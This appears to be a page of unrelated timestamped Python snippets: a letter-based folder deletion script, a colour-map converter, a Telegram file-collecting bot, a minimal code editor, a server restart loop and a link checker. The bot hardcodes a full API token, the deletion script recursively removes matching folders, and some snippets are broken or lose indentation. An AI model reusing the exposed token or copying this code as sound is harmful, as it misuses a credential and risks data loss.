elif os.path.isdir(item_path):
shutil.rmtree(item_path)

def main():
letter = input(": ").strip()
if len(letter) != 1 or not letter.isalpha():
return

folder_opened = False
for directory in DIRECTORY_PATHS:
if os.path.exists(directory):
for item in os.listdir(directory):
if item.lower().startswith(letter.lower()) and os.path.isdir(os.path.join(directory, item)):
folder_path = os.path.join(directory, item)
open_folder(folder_path)
folder_opened = True
time.sleep(10)
break
if folder_opened:
break



for directory in DIRECTORY_PATHS:
if os.path.exists(directory):
delete_items_starting_with_letter(directory, letter.lower())



if __name__ == "__main__":
main()


  • 8/8/2024 13:20 - Asia/Tashkent

def convert_tbl_to_clr(tbl_file, clr_file): """Convert TBL file to CLR file.""" with open(tbl_file, 'r') as tbl: lines = tbl.readlines() with open(clr_file, 'w') as clr: # Write the CLR header clr.write("ColorMap 1 1\n") # ID and version # Process each line in the TBL file for line in lines: line = line.strip() if line.startswith('{') or not line: # Skip header and empty lines continue parts = line.split() if len(parts) >= 3: r = int(parts[0]) g = int(parts[1]) b = int(parts[2]) position = (lines.index(line) / (len(lines) - 1)) * 100.0 # Calculate position percentage clr.write(f"{position:.6f} {r} {g} {b}\n") def convert_clr_to_tbl(clr_file, tbl_file): """Convert CLR file to TBL file.""" with open(clr_file, 'r') as clr: lines = clr.readlines() with open(tbl_file, 'w') as tbl: tbl.write("{ blk cyn mag yel}\n") # Example header, adjust as needed for line in lines[1:]: # Skip header line if line.strip(): parts = line.split() if len(parts) >= 4: # Expecting position, R, G, B r = int(parts[1]) g = int(parts[2]) b = int(parts[3]) tbl.write(f"{r:03d} {g:03d} {b:03d}\n") def main(): choice = input("Convert TBL to CLR (1) or CLR to TBL (2)? ") if choice == '1': input_tbl = input("Enter the path to the input TBL file: ") output_clr = input("Enter the path for the output CLR file: ") convert_tbl_to_clr(input_tbl, output_clr) print("TBL to CLR conversion complete!") elif choice == '2': input_clr = input("Enter the path to the input CLR file: ") output_tbl = input("Enter the path for the output TBL file: ") convert_clr_to_tbl(input_clr, output_tbl) print("CLR to TBL conversion complete!") else: print("Invalid choice. Please select 1 or 2.") if __name__ == '__main__': main()


  • 14/8/2024 8:11 - Europe/Moscow

import telebot
import os
import tkinter as tk
from tkinter import messagebox, scrolledtext
from threading import Thread
import time

# Инициализация бота с вашим токеном
API_TOKEN = '6460648243:AAFKkn2XL2m18kyeYHoKFObmZEMDXK8pazE'
bot = telebot.TeleBot(API_TOKEN)
bot_thread = None
bot_running = False

# Функция для создания папки пользователя
def create_user_folder(user_id):
folder_name = str(user_id)
if not os.path.exists(folder_name):
os.makedirs(folder_name)

# Обработчик команды /start
@bot.message_handler(commands=['start'])
def send_welcome(message):
markup = telebot.types.ReplyKeyboardMarkup(one_time_keyboard=True)
markup.add('Начать обращение')
bot.send_message(message.chat.id, "Добро пожаловать! Нажмите 'Начать обращение' для начала.", reply_markup=markup)

# Обработчик кнопки "Начать обращение"
@bot.message_handler(func=lambda message: message.text == 'Начать обращение')
def start_interaction(message):
create_user_folder(message.from_user.id)
bot.send_message(message.chat.id, "Теперь вы можете отправлять сообщения, фото, видео и файлы. Нажмите 'Стоп' для завершения.")
bot.register_next_step_handler(message, handle_user_input)

# Функция для обработки пользовательских данных
def handle_user_input(message):
user_folder = str(message.from_user.id)
if message.text == 'Стоп':
bot.send_message(message.chat.id, "Обращение завершено.")
return
if message.text:
with open(os.path.join(user_folder, 'messages.txt'), 'a') as f:
f.write(message.text + '\n')
if message.photo:
file_info = bot.get_file(message.photo[-1].file_id)
downloaded_file = bot.download_file(file_info.file_path)
with open(os.path.join(user_folder, file_info.file_path.split('/')[-1]), 'wb') as f:
f.write(downloaded_file)
if message.video:
file_info = bot.get_file(message.video.file_id)
downloaded_file = bot.download_file(file_info.file_path)
with open(os.path.join(user_folder, file_info.file_path.split('/')[-1]), 'wb') as f:
f.write(downloaded_file)
if message.document:
file_info = bot.get_file(message.document.file_id)
downloaded_file = bot.download_file(file_info.file_path)
with open(os.path.join(user_folder, file_info.file_path.split('/')[-1]), 'wb') as f:
f.write(downloaded_file)
bot.register_next_step_handler(message, handle_user_input)

# Функция для запуска бота
def start_bot():
global bot_running
bot_running = True
try:
bot.polling(none_stop=True)

error_log.insert(tk.END, "Бот успешно запущен!\n")
error_log.see(tk.END)
except Exception as e:
error_text = f"Ошибка: {str(e)}"
print(error_text)
error_log.insert(tk.END, error_text + '\n')
error_log.see(tk.END)
bot_running = False
time.sleep(5)
start_bot()


# Функция для остановки бота
def stop_bot():
global bot_running
bot_running = False
bot.stop_polling()

# Создание GUI с кнопками "Запустить" и "Остановить"
def create_gui():
global error_log
root = tk.Tk()
root.title("Telegram Bot App")
root.geometry("300x400")

status_label = tk.Label(root, text="Бот выключен")
status_label.pack()

error_log = scrolledtext.ScrolledText(root, width=40, height=10)
error_log.pack()

def on_start_button_click():
global bot_thread
if not bot_running:
error_log.delete(1.0, tk.END) # Clear the error log
messagebox.showinfo("Info", "Бот запущен!")
bot_thread = Thread(target=start_bot)
bot_thread.start()
status_label.config(text="Бот работает 🟢")

def on_stop_button_click():
if bot_running:
stop_bot()
messagebox.showinfo("Info", "Бот остановлен!")
status_label.config(text="Бот выключен ")

start_button = tk.Button(root, text="Запустить", command=on_start_button_click)
start_button.pack(expand=True)

stop_button = tk.Button(root, text="Остановить", command=on_stop_button_click)
stop_button.pack(expand=True)

root.mainloop()
input ()
if __name__ == '__main__':
create_gui()


  • 9/9/2024 20:16 - Europe/Moscow

from tkinter import *
import tkinter as tk
import ctypes
import re
import os

# Increas Dots Per inch so it looks sharper
ctypes.windll.shcore.SetProcessDpiAwareness(True)
try:
os.mkdir("code")
d = " "
except:
print("EROOR")
try:
faf = open("code/run.py","r",encoding='utf-8')
d = faf.read()
faf.close()
except:
print("EROOR")
d = " "
# Setup Tkinter
root = Tk()
root.geometry('500x500')
root.title(f"{os.getcwd()} - PyCodeEditor")
small_icon = tk.PhotoImage(file="ico/icon16.png")
root.iconphoto(True, small_icon)


# Execute the Programm
def execute(event=None):
with open('code/run.py', 'w', encoding='utf-8') as f:
f.write(editArea.get('1.0', END))
# Start the File in a new CMD Window
os.system('start cmd /K "python code/run.py"')
# Register Changes made to the Editor Content
def changes(event=None):
global previousText

# If actually no changes have been made stop / return the function
if editArea.get('1.0', END) == previousText:
return

# Remove all tags so they can be redrawn
for tag in editArea.tag_names():
editArea.tag_remove(tag, "1.0", "end")

# Add tags where the search_re function found the pattern
i = 0
for pattern, color in repl:
for start, end in search_re(pattern, editArea.get('1.0', END)):
editArea.tag_add(f'{i}', start, end)
editArea.tag_config(f'{i}', foreground=color)

i+=1

previousText = editArea.get('1.0', END)

def search_re(pattern, text, groupid=0):
matches = []

text = text.splitlines()
for i, line in enumerate(text):
for match in re.finditer(pattern, line):

matches.append(
(f"{i + 1}.{match.start()}", f"{i + 1}.{match.end()}")
)

return matches


def rgb(rgb):
return "#%02x%02x%02x" % rgb


previousText = ''

# Define colors for the variouse types of tokens
normal = rgb((234, 234, 234))
keywords = rgb((234, 95, 95))
comments = rgb((95, 234, 165))
string = rgb((234, 162, 95))
function = rgb((95, 211, 234))
background = rgb((42, 42, 42))
font = 'Consolas 15'


# Define a list of Regex Pattern that should be colored in a certain way
repl = [
['(^| )(False|None|True|and|as|assert|async|await|break|class|continue|def|del|elif|else|except|finally|for|from|global|if|import|in|is|lambda|nonlocal|not|or|pass|raise|return|try|while|with|yield)($| )', keywords],
['".*?"', string],
['\'.*?\'', string],
['#.*?$', comments],
]

# Make the Text Widget
# Add a hefty border width so we can achieve a little bit of padding
editArea = Text(
root,
background=background,
foreground=normal,
insertbackground=normal,
relief=FLAT,
borderwidth=30,
font=font
)

# Place the Edit Area with the pack method
editArea.pack(
fill=BOTH,
expand=1
)

# Insert some Standard Text into the Edit Area
if """#python code\n#Control-r for save+run""" in d:
editArea.insert('1.0', f"""{d}""")
else:
editArea.insert('1.0', f"""#python code
#Control-r for save+run
#save in {os.getcwd()}/code/run.py\n{d}""")

# Bind the KeyRelase to the Changes Function
editArea.bind('<KeyRelease>', changes)
# Bind Control + R to the exec function
root.bind('<Control-r>', execute)
changes()
root.mainloop()


  • 11/9/2024 12:41 - Asia/Irkutsk

  1. #!/usr/bin/env python2 import os import time import psutil # Import the psutil library LOG_FILE = "/home/TestServer/restart_log.txt" def check_and_restart(game_server_name, executable_path): if not any(p.info['name'] == game_server_name for p in psutil.process_iter(attrs=['pid', 'name'])): current_time = time.strftime("%Y-%m-%d %H:%M:%S") with open(LOG_FILE, "a") as log_file: log_file.write("{0} - {1} is down. Restarting...\n".format(current_time, game_server_name)) os.chdir(executable_path) os.system("./{0} &".format(game_server_name)) # Example usage while True: check_and_restart("TestGameServer_d", "/home/TestServer/GameServer1/gameserver_1") check_and_restart("TestGameServer_d2", "/home/TestServer/GameServer2/gameserver_1") time.sleep(15)


  • 11/9/2024 18:7 - Europe/Samara

import tkinter as tk
window = tk.Tk()
window.title("FitFinder: Простой вариант")
label = tk.Label(window, text="Введите ваш тип фигуры:")
label.pack()
entry = tk.Entry(window)
entry.pack()
button = tk.Button(window, text="Анализировать", command=analyze)
def analyze():
button.pack()
def analyze():
figure_type = entry.get()
print(f"Ваш тип фигуры: {figure_type}")
window.mainloop()


  • 12/9/2024 0:51 - Europe/Moscow

import time

# Начальное значение

number = 0.0

# Интервал времени и шаг увеличения

increment = 0.03

interval = 1  # секунды

try:

    while True:

        # Увеличиваем значение на 0.03

        number += increment

        # Отображаем текущее значение

        print(f"Текущее значение: {number:.2f}")

        # Задержка на 1 секунду

        time.sleep(interval)

except KeyboardInterrupt:

    # Позволяет остановить программу с помощью Ctrl+C

    print("\\nПрограмма остановлена. Последнее значение:", round(number, 2))


  • 12/9/2024 15:50 - Europe/Moscow

from pathlib import Path
from os.path import getsize
import shutil
import os

root_dir = f'./results'
report = Path('./locomotives_test')
report.mkdir(exist_ok=True)

results = list(Path(f'{root_dir}').glob('*'))
for rw_record in results:
    rw_report = rw_record.stem
    for analytics_dir in rw_record.glob('*'):
        if analytics_dir.stem == 'analytics':
            rw_analytics = list(Path(f'{root_dir}/{rw_report}/{analytics_dir.stem}').glob('*'))
            for rw_cloud_dir in rw_analytics:
                if rw_cloud_dir.stem == 'railway_train':
                    cloud_path = Path(f'{rw_cloud_dir}').glob('*')
                    cloud_txt = list(cloud_path)[0]
                    size = getsize(cloud_txt)
                    if size > 0:
                        shutil.copy(cloud_txt, f'{report}/{rw_record.stem}.txt')


  • 14/9/2024 1:18 - Europe/Moscow

import requests

def check_links(input_file, output_file):
    # Открываем файл с ссылками для чтения
    with open(input_file, 'r') as infile:
        links = infile.readlines()  # Читаем все строки (ссылки) из файла

    # Список для хранения доступных ссылок
    reachable_links = []

    # Проверяем каждую ссылку
    for link in links:
        link = link.strip()  # Убираем лишние пробелы и символы новой строки
        if not link:  # Пропускаем пустые строки
            continue
        try:
            response = requests.get(link, timeout=5)  # Отправляем GET-запрос с таймаутом 5 секунд
            if response.status_code == 200:  # Проверяем, что статус код 200 (ОК)
                reachable_links.append(link)  # Добавляем доступную ссылку в список
                print(f"Доступен: {link}")
            else:
                print(f"Недоступен (статус {response.status_code}): {link}")
        except requests.exceptions.RequestException as e:
            print(f"Ошибка при доступе к {link}: {e}")

    # Записываем доступные ссылки в выходной файл
    with open(output_file, 'w') as outfile:
        for reachable_link in reachable_links:
            outfile.write(reachable_link + '\n')  # Записываем каждую доступную ссылку в файл

# Пример использования
input_file = 'links.txt'  # Файл с ссылками
output_file = 'reachable_links.txt'  # Файл для записи доступных ссылок
check_links(input_file, output_file)